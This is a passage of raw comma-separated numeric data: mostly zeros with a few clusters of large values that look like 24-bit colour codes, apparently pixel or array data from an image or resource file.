,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,14417919,16767926,11974326,11974246,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16767926,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6721718,11974326,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0